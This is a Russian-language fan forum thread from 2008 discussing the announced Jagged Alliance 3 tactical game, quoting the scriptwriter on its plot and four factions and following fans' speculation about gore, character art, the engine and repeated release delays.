Вопрос НИМ: "Ну так, что там в сюжете JA3?"

Сценарист Жучков Юрий Валерьевич (ЖЮВ):
"По существу там всё как обычно: группа наемников прибывает в страну одну - банановую такую. А там, конечно, бардак. Потомственный президент, демократически избранный на пожизненный срок, борется с мятежниками, а правительство соседней страны под шумок пытается оттяпать себе чужой землицы. Есть ещё иностранная корпорация, которая вооружение производит. Она с местными властями в своё время снюхалась ну и проводила в стране всякие запрещенные испытания. А потом, как заваруха началась, стала прямо на всех подряд свои образцы пробовать. Одним словом, каждый сам за себя, одни мы - за деньги."

Вопрос НИМ: "Это что же получается - четыре фракции будет?"

ЖЮВ: "Вообще-то там ещё одна сторона планируется, но это так, довесок. За них всё равно играть нельзя будет.
Там понимаете переключатель такой будет SciFi On/Off
."

Вопрос НИМ: "А за какую фракцию будет игрок воевать?"

ЖЮВ: "А это уж какую выберет. Тут у нас полная свобода действий. Естественно, разные наниматели будут давать разные бонусы. Корпорация, например, может подкинуть какой-нибудь ствол навороченный, а мятежники - те людьми помогут, да и местность им известна получше."

Вопрос НИМ: "Какие отношения с нанимающей стороной?"

ЖЮВ: "Исключительно финансовые. Можно будет, конечно, и за счет продажи трофеев кое-что выручить, но особенно расчитывать на это не стоит. Найти торговца, а тем более воспользоваться его услугами будет непросто. Отношения между фракциями сильно повлияют на желание разных NPC общаться с вами."

Вопрос НИМ: "Сюжет предусматривает возможность неприсоединения ни к одной фракции?"

ЖЮВ: "Вряд ли, пока такая возможность не закладывается. Однако по ходу игры будут как задания от нанимателя, так и всевозможные просьбы от разных NPC, решающих свои частные задачи. Игрок может выбирать, чем заняться в первую очередь - продвигаться вперед по сюжету, или немного подхалтурить на стороне. Принцип же такой, что чем дольше игнорируешь главный квест, тем более запущенной окажется ситуация, когда ты наконец-то соберешься его выполнить."

С момента опубликования превью, основы сюжета Jagged Alliance 3 не поимели серьёзных изменений ;)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 03.06.2008 в 13:54:05

Quote:
"Вообще-то там ещё одна сторона планируется, но это так, довесок. За них всё равно играть нельзя будет.
Там понимаете переключатель такой будет SciFi On/Off."  

Точно инопланетяне будут.  :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Legend на 03.06.2008 в 14:44:41
2pipetz: a mozhet gnomy-kannibaly? :D ili elfy ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 03.06.2008 в 14:55:49
Да, скорее всего, те же жуки.
Хотя м.б. какие-нибудь ходячие мертвецы.  Индейское кладбище... факир Вася Иванов...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 03.06.2008 в 15:09:36
Что-то мне эта система не очень нравиться, когда из трёх падонков ты можешь выбрать
на свой вкус за кого воевать. Как в том же, Е5 например. Безысходность какая-то. За деньги...
Даже не знаю. После окончания игры у меня же денег в кармане не прибавляется.  

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 03.06.2008 в 15:14:35
2pipetz:
Ну да, достали уже этой продажностью. Вот только, как полублядь, и не иначе.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем maks_tm на 03.06.2008 в 15:16:34
Интересно, а будет вариант "против всех"?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 03.06.2008 в 15:20:40
2maks_tm:
А вон, Доцент выше привел информацию, что не будет

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 03.06.2008 в 15:24:19

Quote:
С момента опубликования превью, основы сюжета Jagged Alliance 3 не поимели серьёзных изменений
- мало того, ясности никакой. Хде там сюжет? :P

Quote:
Точно инопланетяне будут.
- [offtop]ага, питающиеся желудочным соком землян и передвигающиеся на треножниках марсиане. ::)[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 03.06.2008 в 15:47:40
2G.E.M.:
Quote:
- мало того, ясности никакой. Хде там сюжет? :P

Никто глубже сюжет публике сейчас и не раскроет - какой в этом интерес игрокам? ::)
Всё самое необходимое здесь изложено: общая обстановка и место действия, количество противоборствующих сторон, их корыстные цели, особенности этих сторон и возможные бонусы от сотрудничества ;)

Информации по сюжету более чем достаточно для тактической стратегии :)
RPG-составляющую сюжета Jagged Alliance 3 тем более раскрывать запрещено! :P
Подумай сам, не будут же нам сейчас расписывать все сюжетные квесты и способы их прохождения в игре? ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 03.06.2008 в 16:03:00

Quote:
Подумай сам, не будут же нам сейчас расписывать все сюжетные квесты и способы их прохождения в игре?
- да это и не надо. Хотя бы историю какую-нибудь. В JA2 хоть история стартовая была: типа, жил-был король, у него был сын-дурак, женившийся на тиранше, она всех убила... и т.д. и т.п. А то жиденько как-то. :P
Ладно, посмотрим, что будет осенью. Надеюсь, не как с 7.62 - хорошая тактическая часть, но сюжет подан как-то вяло. ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 03.06.2008 в 16:05:58
2G.E.M.:
Quote:
- да это и не надо. Хотя бы историю какую-нибудь. В JA2 хоть история стартовая была: типа, жил-был король, у него был сын-дурак, женившийся на тиранше, она всех убила... и т.д. и т.п. А то жиденько как-то. :P

За разработчиков обещать не возьмусь, но думаю, что такая-то простенькая "стартовая история" в игре всё же будет ;)

2pipetz:  
Quote:
Что-то мне эта система не очень нравиться, когда из трёх падонков ты можешь выбрать  
на свой вкус за кого воевать. Как в том же, Е5 например. Безысходность какая-то. За деньги...

Не все наниматели смогут платить много денег, можно будет воевать и за "правое дело" ;)

В Jagged Alliance 3 будет не 3, а 4 стороны конфликта:
1. Президент банановой страны - он же Диктатор;
2. Мятежники, борющиеся за "правое дело", но платящие мало денег, увы;
3. Правительство соседней страны, пытающееся оттяпать под шумок кусок чужой территории;
4. Могущественная иностранная корпорация, производящая новейшее оружие!

Кроме того будет 5-ая неиграбельная фракция в SciFi режиме.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 03.06.2008 в 16:08:12

Quote:
можно будет воевать и за "правое дело"
- [offtop]да ну его, правое дело - кто больше платит - тот и хозяин. ::)[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 03.06.2008 в 16:12:32

Quote:
2. Мятежники, борющиеся за "правое дело", но платящие мало денег, увы;  

Мятежники такие же как в 7.62? Я их в первую очередь перебил.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 03.06.2008 в 16:20:34
2pipetz:  
Quote:
Мятежники такие же как в 7.62? Я их в первую очередь перебил.


Насколько дело мятежников будет правым я точно не знаю  ::), но теоретически они могут довольно сильно отличаться от аналогичных из 7.62.
Именно поэтому взял в кавычки слова "правое дело" ;)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 03.06.2008 в 17:31:54
2Docent:
То, что ты там написал, словом "сюжет" вообще назвать нельзя. Это сеттинг. Ну да не важно.


Quote:
Мятежники, борющиеся за "правое дело", но платящие мало денег, увы;  

Вот кстати, правильно "правое дело" в кавычки взял. Опять, видать, подсунут дегенератов, как в Е5, типа они хорошие, типа за правое дело. А желание перемочить их всех не пропадает с первой встречи. Блин, когда уже бандитские закидоны станут не модными? Не люблю я за гопников-идеалистов играть. ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 03.06.2008 в 17:48:23
2Leo:
Если мятежники будут наподобие Мигеля с компанией, сразу же к ним вольюсь.
Quote:
4. Могущественная иностранная корпорация, производящая новейшее оружие!

Этим в первую очередь карачун.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 03.06.2008 в 18:03:58
2MAn: Неее, не трож оружейников! это мятежников на мясо... В 7,62 их не трогал исключительно что бы посмотреть что выйдет из "заигрывания" с Таней  ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 03.06.2008 в 18:08:08
2Zmey:
Ну и что вышло? :spy: Когда ждать прибавления?  :)

Вот сделали бы так чтобы можно было пройти никого не убивая, как в Фолаут
(и в Джа2 тоже в общем-то), вот это была бы нелинейность. А когда
различие заключаеться только в том какого цвета горы мяса ты будешь
оставлять у себя за спиной - это не интересно. Сделай хоть 20 фракций,
всё равно будет не интересно.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 03.06.2008 в 18:23:11
2pipetz: Да можно сделать две фракции, но такой сюжет закрутить... Например есть два соседних государства... и цель игрока - развязать войну между этими двумя государствами. А затем под начавшийся шумок нужно спереть у этих стран.... да хоть ядерную боеголовку... в общем было бы желание придумать лихой сюжет ;)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 04.06.2008 в 01:07:23
Для тех кто раньше не следил за игрой и не читал предварительную информацию по Jagged Alliance 3 приведу несколько ссылок на наиболее значимые русскоязычные интервью и превью по игре ;)

1. Наиболее полное превью (интервью) по Jagged Alliance 3 было опубликовано в журнале "Навигаторе игрового мира (http://gamenavigator.ru/magazines/navigator/115/#6163)" №12 (115)' 2006.
Ознакомиться с текстом интервью можно в прикрепленных сканах к постам камрада Eug в этой ветке, начиная с поста: Re: Jagged Alliance 3 «Ответ #35 от 12/20/06 в 17:38:52».

2. Небольшой анонс (http://g01.ru/articles/announcements/15163/) по игре можно найти на сайте [GO1]ru;

3. Раннее интервью по игре с консультантом Борисом Юлиным (http://www.igromania.ru/Articles/10986/Jagged_Alliance_3.htm) от начала 2007 года на сайте Игромания;

4. Интервью с руководителем компании F3 Games и сценаристом Юрием Жучковым (http://www.igromania.ru/Articles/12866/Jagged_Alliance_3.htm) от конца 2007 года на сайте журнала Игромания;

5. Довольно детальное интервью журналу «СТРАНА ИГР» (http://www.gameland.ru/post/38258/) № 15 [240] 2007 с подробными данными о сотрудниках компании F3 Games.

Вообще информации по игре очень и очень мало, у Jagged Alliance 3 пока нет ни своего русскоязычного сайта ни форума :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 04.06.2008 в 17:16:17
[offtop]Я потерялся: о чем спор? Если можно выбирать фракцию, то в любом случае придется перестрелять всех остальных, ибо "останется только один".[/offtop]
Да и вообще, probleme non theme. Проблема в его подаче. Оригинальный сюжет уже создать невозможно - все темы изъедены уже. А вот подать его оригинально есть возможность. А то бросят игрока на произвол судьбы и говорят потом: "свободный режим, свободный режим". А когда никто не диктует правила игры - интерес пропадает быстро. Действия нет... ::) :P

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zed на 04.06.2008 в 17:25:35
2Флудеры:
Отправляемся к Пакосу (http://forum.ja2.su/cgi-bin/yabb/YaBB.pl?board=flame;action=display;num=1212589370)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем kavlad на 06.06.2008 в 02:15:17

Quote:
Вот сделали бы так чтобы можно было пройти никого не убивая, как в Фолаут  (и в Джа2 тоже в общем-то), вот это была бы нелинейность. А когда
различие заключаеться только в том какого цвета горы мяса ты будешь  
оставлять у себя за спиной - это не интересно.


Нет-нет! Горы мяса - это именно то, что я жду тактической стратегии в духе JA2. Надеюсь кровииииищщу разработчики предусмотрели   :P
 :greenchainsaw:
Вот убей-зарежь не вспомню была ли кровища в SS. Вроде бы не было.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 06.06.2008 в 05:19:40
2kavlad: Была, только маловато ее было:(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 06.06.2008 в 11:19:27

Quote:
Вот убей-зарежь не вспомню была ли кровища в SS. Вроде бы не было.

А то - http://forum.nival.com/rus/attachment.php?attachmentid=5853&d=1112818875

Заголовок: Re: Jagged Alliance 3
Прислано пользователем kavlad на 06.06.2008 в 11:50:47
2Novik:
Точно. Но никаких взрывающихся голов, человеков-факелов и пр. веселостей  ::) там вроде не было.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 06.06.2008 в 11:53:24

Quote:
Надеюсь кровииииищщу разработчики предусмотрели
-[offtop] а еще отстрел рук ног и головы. ::) Давление тараканов и убийство ворон. [/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 06.06.2008 в 16:35:23
2kavlad:  
Quote:
Точно. Но никаких взрывающихся голов, человеков-факелов и пр. веселостей  : rolleyes : там вроде не было

И бошки там разрывались на ошметки от ушиба об топор или пулю.
Не так красочно, конечно, как в JA2.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем kavlad на 06.06.2008 в 20:41:52

Quote:
И бошки там разрывались на ошметки


Не помню или не разу не встречал :(
Вообще SS слишком короткая игра - прошел все три части по два раза. За все время видел только четыре критикал хита. А в джаге АК+очередь в голову в упор=кровяной бабах :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 07.06.2008 в 10:28:24
2kavlad: А третьяя часть СС - это что такое? поподробней плз... А то я знаю только сам Шторм и шторм: часовые

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 07.06.2008 в 12:12:21
2kavlad: Странно ты как-то проходил, средне-прокачанный снайпер из винтовки в голову лепит критикалы с отрывом башки или разрывом всего тела в 90% случаев.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zed на 07.06.2008 в 15:35:10
2Zmey:
Это вероятно "Серп и молот" выросший из мода в исполнении Novik'а.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 07.06.2008 в 15:51:07
Вот еще вопросец по СС возник, раз уж тема зашла - у всех играющих параметры сидящих на базе были лучше "полевых" бойцов? У меня например "уклонение" сидящих на базе раза в 2 лучше было... С навыками и параметрами такая же песня была....

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zed на 07.06.2008 в 16:06:13
2Zmey:
Ветка по СС (http://forum.ja2.su/cgi-bin/yabb/YaBB.pl?board=othergms;action=display;num=1068120918)
Качались они там на базе в свободное от войны время.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем kavlad на 07.06.2008 в 16:57:55
2Zmey:

Quote:
А третьяя часть СС - это что такое?


Серп и молот

2bugmonster:

Quote:
Странно ты как-то проходил


Я все больше разведчиком проходил - ножичком панцеры резал :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 17.06.2008 в 23:54:16
Гы! На английском сайте какеллы, дата выхода JA3 - Q1 2010! Сильно. ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Legend на 18.06.2008 в 00:44:36
2Leo: Это наверное окончательная версия выйдет :) А на нас опять бету будут тестировать :D За наши же деньги ;) Но, хмм, интересно: полтора года тестировать?! :o Иностранцы тогда должны получить ну просто мегапупер-безглючную джа! :D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 18.06.2008 в 08:25:59
2Legend:  ;D Только вот устареет она уже настолько, что мама не горюй...  придется замедилтели тактовой частоты использовать ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 18.06.2008 в 14:40:40
Ну, это - можно сказать - хорошая новость. В смысле: подпитка для модов :-)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 19.06.2008 в 08:56:51

Quote:
придется замедилтели тактовой частоты использовать
- кому как: кому-то придется, а кто-то и обойдется. ;D

Quote:
JA3 - Q1 2010!
- а "Ку-1", что за зверь?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Legend на 19.06.2008 в 09:34:44
2G.E.M.:
Quote:
- а "Ку-1", что за зверь?
Первый квартал 2010 года.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 19.06.2008 в 10:32:34

Quote:
Первый квартал 2010 года.  
- с такой датой уже не интересно. :P
Любят же затягивать это дело. А толку что-то от этих сроков мало...

Quote:
А на нас опять бету будут тестировать :D За наши же деньги
- ну мы же русские - все выдержим, все стерпим. ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Legend на 19.06.2008 в 10:36:00
2G.E.M.: Зато посмотри на это с другой стороны: мы сможем играть в Джа3 первыми на планете :D Вот как с НО: вроде и тестируем бету, зато мы первые, кто ТАКИЕ ( :up: ) НО играет 8)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 19.06.2008 в 10:43:23
[offtop]
Quote:
Вот как с НО: вроде и тестируем бету, зато мы первые, кто ТАКИЕ
- "не мы - а Вы". ::)[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Strax5 на 19.06.2008 в 16:42:55
Годичной давности новость, но вроде я ее не видел у нас:

http://www.bumbum.ru/news.php?top=3&id=103699

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Morgenstern на 19.06.2008 в 21:16:12

Quote:
сделают персонажей долгожданной игры невероятно живыми.


Ага, живыми...Но стра-а-а-ашными. Как-то пока физиогномии все равно не сильно воодушевляют  :( Хотя, если сравнить с тем, что было раньше...

А вот мне интересно, продолжится ли замечательная традиция: увидим ли у персонажей Джа3 лица разработчиков и прочих причастных людей? Я это к чему - если уж игра плохая окажется, то виртуальное убиение создателя принесет хоть какое-то моральное удовлетворение :devil:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 19.06.2008 в 23:00:06

Quote:
увидим ли у персонажей Джа3 лица разработчиков и прочих причастных людей?  
- эх, жалко, если не увидит. а было бы прикольно. ::)

Quote:
Хотя, если сравнить с тем, что было раньше...  
- мне даже из первой Джаги мордочки нравятся больше, чем теперяшние псевдо трехмерные. Рисованные гораздо краше получаются.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 19.06.2008 в 23:43:34
2G.E.M.:

Quote:
мне даже из первой Джаги мордочки нравятся больше, чем теперяшние псевдо трехмерные. Рисованные гораздо краше получаются.

Дык. Конечно те нарисованы художником, а эти сляпаны каким-то генератором
все по одному и тому же щаблону.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Morgenstern на 20.06.2008 в 13:20:25

Quote:
мне даже из первой Джаги мордочки нравятся больше, чем теперяшние псевдо трехмерные. Рисованные гораздо краше получаются.


Так я говорю про те старые скриншоты к Джа3 с абсолютно кошмарными мордами, ну, там еще все время компания Тень-Стрелка-Злобный была.
Я целиком и полностью за двумерные, красиво и с душой нарисованные лица!  :) У них есть огромный, на мой взгляд, плюс: они лучше передают характер.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 20.06.2008 в 20:56:35

Quote:
Дык. Конечно те нарисованы художником, а эти сляпаны каким-то генератором  

Нет. Можете считать, что трехмерные морды тоже рисуются художником. Софт позволяет, и можно сделать вполне себе конфетку. Другой вопрос, что художник, работавший над ними в f3 явно от слова "худо". Впрочем, это, как я понимаю, сильно не финальные варианты.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 20.06.2008 в 21:54:43

Quote:
сильно не финальные варианты
- надеюсь (да и скорее всего это так), однако подпортить отношение к своим "моделистам" такими скринами могли бы очень сильно. Ракурсы бы лучше выбрали, либо менюшку с мордами вообще бы убрали покамест. Но да ладно... Посмотрим, что у них там получится (а не понравится - можно переделать ::)).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 21.06.2008 в 09:51:11
2G.E.M.: Они хотя бы честны с будущими покупателями. А то некоторые отечественные разрабы колдуют над ранними скринами в фотошопе, у них естественно на скринах красоты неписанные  :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Leo на 21.06.2008 в 12:58:13

Quote:
А то некоторые отечественные разрабы

Да уж не только отечественные... Что ни анонс, то конкурс фотошоперов прям ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macorlinux на 21.08.2008 в 01:27:22
Мне чтот не понятно, Jagged Alliance 3 уже вышла или нет , в инете нашел инфу про ДЖА3 , это чтоли она ?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем some1 на 21.08.2008 в 01:36:33
Нет не она! И слава богу) Ведь изначально она разрабатывалась именно как JA3 к счастью вовремя права отобрали и теперь мы ждем настоящую JA3!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macorlinux на 21.08.2008 в 02:19:12
Фуг, я уже перепугался что то она...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 21.08.2008 в 13:19:50
Да, я сначала огорчился, когда права у мистов отобрали на Джа 3, а когда ЭТО вышло... я порадовался.. Судя по мувику Джа 3 вполне может быть достойным наследником Джа 2... Особенно порадовали полностью разрущающиемя дома... в СС что бы так сделать надо было ОЧЕНЬ-ОЧЕНЬ постараться и потратить целую прорву мощных гранат. В общем осталось ждать вроде немного уже...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем some1 на 21.08.2008 в 17:10:48
А у меня плохое впечатление создалось из за этого мувика. если все будет именно таким как в мувике то JA2 будет жить вечно)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 21.08.2008 в 17:21:04
2some1: Не забывай о модах:))) Главное что бы с адаптацией движка не подкачали и стратегический режим совсем не порезали, а остальное моды добавят ;) В любом случае есть предположение что игра станет полностью играбельной месяца так через 2 после релиза, когда все "горящие дыры" подлатают

ЗЫ: а самое-самое главное - что бы оставили возможность вскрывать сундуки и замки десятком способов ::) :P

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Redson на 21.08.2008 в 17:42:42

Quote:
Jagged Alliance 3 уже вышла или нет , в инете нашел инфу про ДЖА3 , это чтоли она ?  

:lol:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zed на 21.08.2008 в 17:44:37
http://ru.akella.com/Game.aspx?id=1834
Особенности игры:

   * Гибкая структура миссий;
   * 5 противоборствующих участников конфликта, на стороне 4-х из них можно принять участие в боевых действиях;
   * Несколько десятков нелинейных сценарных миссий, проходящие при различных погодных условиях, в различное время суток;
   * Значительное число генерируемых миссий, отличающихся уникальным стилем прохождения и сложностью;
   * Сильная сюжетная линия, объединяющая все боевые действия за любую из сторон;
   * Новый, полностью трехмерный движок;
   * Новые типы локаций и ландшафта местности;
   * Реалистичная система повреждений персонажей и построек на миссии;
   * Возможность сражаться друг против друга в многопользовательском режиме.

Что то меня от такой рекламки в дрож бросает...
http://www.igromania.ru/Articles/10986/Jagged_Alliance_3.htm

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Redson на 21.08.2008 в 18:06:40
2Zed

Quote:
Что то меня от такой рекламки в дрож бросает...
http://www.igromania.ru/Articles/10986/Jagged_Alliance_3.htm


Этой байде ведь уже полтора года! Но меня уже тогда тоже бросило...:nervous:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 22.08.2008 в 08:39:59
Да,"фичи" как то неубедительно звучат, соглашусь. Но меня новая джа прежде всего интересует как платформа для модов. Ведь оригинальную Джа 2 и Джа 2 НО финальную сравнивать нельзя, согласны?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Redson на 22.08.2008 в 17:36:10
2Zmey

Quote:
Ведь оригинальную Джа 2 и Джа 2 НО финальную сравнивать нельзя, согласны?

Это точно!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 23.08.2008 в 00:07:53
Если кто-то возможно и будет делать моды под Ja3, так это Новик. Он код SS давно уже весь перелопатил... ну или еще ребята с форума нивала, те, что моды периодически делают...
Не думаю, что многие на этом форуме копались в кишках SS...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 26.08.2008 в 11:13:05
2Macbeth: Кто знает. Лишь бы ресурсы не закрывали для изменения.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Georg на 26.08.2008 в 17:04:06
А когда она выйдет,а то на акелле  написано 3 квартал и все?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 26.08.2008 в 19:22:14
2Georg: Я предполагаю, что во второй половине сентября - аккурат конец третьего квартала, и школьники как раз в школу пойдут, будут гонять Джа 3 вместо домашнего задания ;D ... Надеюсь релиз не перенесут...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Georg на 26.08.2008 в 19:39:07
Zmey: По моему слишком оптимистично , скорей всего релиз перенесут как это было не раз :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 27.08.2008 в 08:56:24
2Georg: Скорее выпустят недоделку :( , что еще хуже. Очень уж время подходящее... Почти все боле-менее серьезные проекты выходили осенью или зимой. Так что перенос релиза больше чем на 2-3 месяца крайне маловероятен. ИМХО.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 27.08.2008 в 15:34:42
Да ладно, вон сколько весной выходило.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 27.08.2008 в 15:39:27

Quote:
Да ладно, вон сколько весной выходило.  

Подснежники.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 28.08.2008 в 11:11:53

Quote:
Подснежники.  
- [offtop]такие грязные, что только на ходулях ходить. ::)[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Georg на 21.09.2008 в 19:54:57
НА сайте 7wolf написано выход игры 21сентября.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zed на 21.09.2008 в 20:10:22
2Georg:
И именно по этому нет ни обложки диска, ни, где бы то ни было, рекламы :) Сомнительно.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем mirage на 21.09.2008 в 20:23:51
значит будем ждать в ближайшее время. ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Georg на 21.09.2008 в 20:45:26
Вид у сайта какой-то не надежный.Наверно дата выхода не точна.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 22.09.2008 в 07:53:11

Quote:
Вид у сайта какой-то не надежный.
- таки пираты же ведь. ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Georg на 22.09.2008 в 19:18:44
На Акелле написано выход 1квартал 2009г :( :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем mirage на 23.09.2008 в 15:27:48
2Georg:

(вырезано цензурой)  опять ждать придется...
>:(

хотя что обещают должно быть очень круто.
особенно:  Возможность сражаться друг против друга в многопользовательском режиме.

http://www.akella.ru/Game.aspx?id=1834

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Georg на 23.09.2008 в 15:43:40
Писали игра полностью готова.Идет косметическая доработка и тут опять перенос
выхода как не хорошо с их стороны.Ведь наверное самая ожидаемая игра.Этот
жанр игр своих фанатов разнообразием игр,не балует.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем mirage на 23.09.2008 в 20:15:12
2Georg:
ну вот такие они нехорошие люди. ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ximik на 24.09.2008 в 11:44:33
Там видео какое-то лежит http://www.akella.ru/Game.aspx?id=1834&mode=video это старое? Кто нибудь смотрел? :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем mirage на 24.09.2008 в 12:31:21
2Ximik:
скорее всего старое.
2007года.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 25.09.2008 в 17:41:57

Quote:
Писали игра полностью готова.Идет косметическая доработка и тут опять перенос
выхода как не хорошо с их стороны.Ведь наверное самая ожидаемая игра.Этот
жанр игр своих фанатов разнообразием игр,не балует.  
- [offtop]так сколько ещё вырезать-то надо: отстреливающиеся головы, детей, кошек, ворон, кровищу, нацменьшинства, реалистичное поведения оружия и прочая. ;)[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Viking на 25.11.2008 в 11:10:27
Коллеги, я правильно понял, что Jagged Alliance 3 будет сделан на движке Silent Storm'a?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 25.11.2008 в 16:55:41

Quote:
Коллеги, я правильно понял, что Jagged Alliance 3 будет сделан на движке Silent Storm'a?  
- на "улучшенном" и "доработанном".

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Viking на 26.11.2008 в 10:21:27
А основной "головняк" ниваловского движка - жутко ограниченные размеры карты тоже доработают?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 26.11.2008 в 11:50:59
Их уже сделали неограниченными.  В виде шара :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 26.11.2008 в 21:27:19

Quote:
Их уже сделали неограниченными.  В виде шара
- [offtop]прошу прощения за оффтоп, в виде шара изнутри. ::)[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Komandos на 21.12.2008 в 22:43:34
Есть свежая информация и ссылки на ее источник относительно J3 ???

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zed на 21.12.2008 в 22:57:18

Quote:
Есть свежая информация и ссылки на ее источник относительно J3 ???
     

Нет.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Redson на 21.12.2008 в 23:31:23
2Komandos:
Вчера поискал, ничего не нашел. Забили они на это дело. Чувствую, не видать нам JA3 как своих ушей! Роковая какая-то игра...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Komandos на 22.12.2008 в 00:14:14
2Redson: Да уже хоть какой нибудь.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Georg на 26.12.2008 в 16:00:55
На игромании написано,чтоигра переносица на 2010год.Наверное самая несчастливая игра. :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 26.12.2008 в 16:20:47

Quote:
На игромании написано,чтоигра переносица на 2010год.Наверное самая несчастливая игра.  
- [offtop]Duke Nukem Forever. ;)[/offtop]

Не видать нам Джа3 до пробуждения Ктулху. :P

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Georg на 26.12.2008 в 16:27:42
2G.E.M.:
Да очень обидно,но по видему ты прав.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 26.12.2008 в 17:28:03

Quote:
Да очень обидно,но по видему ты прав.  
- [offtop]не дай Бог оказаться мне правым! :P[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Redson на 26.12.2008 в 23:28:02

Quote:
На игромании написано,чтоигра переносица на 2010год

Не будет ее вообще! Только мОзги нам парят!


Quote:
самая несчастливая игра

Да уж.... :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 27.12.2008 в 09:09:31

Quote:
Не будет ее вообще! Только мОзги нам парят!  
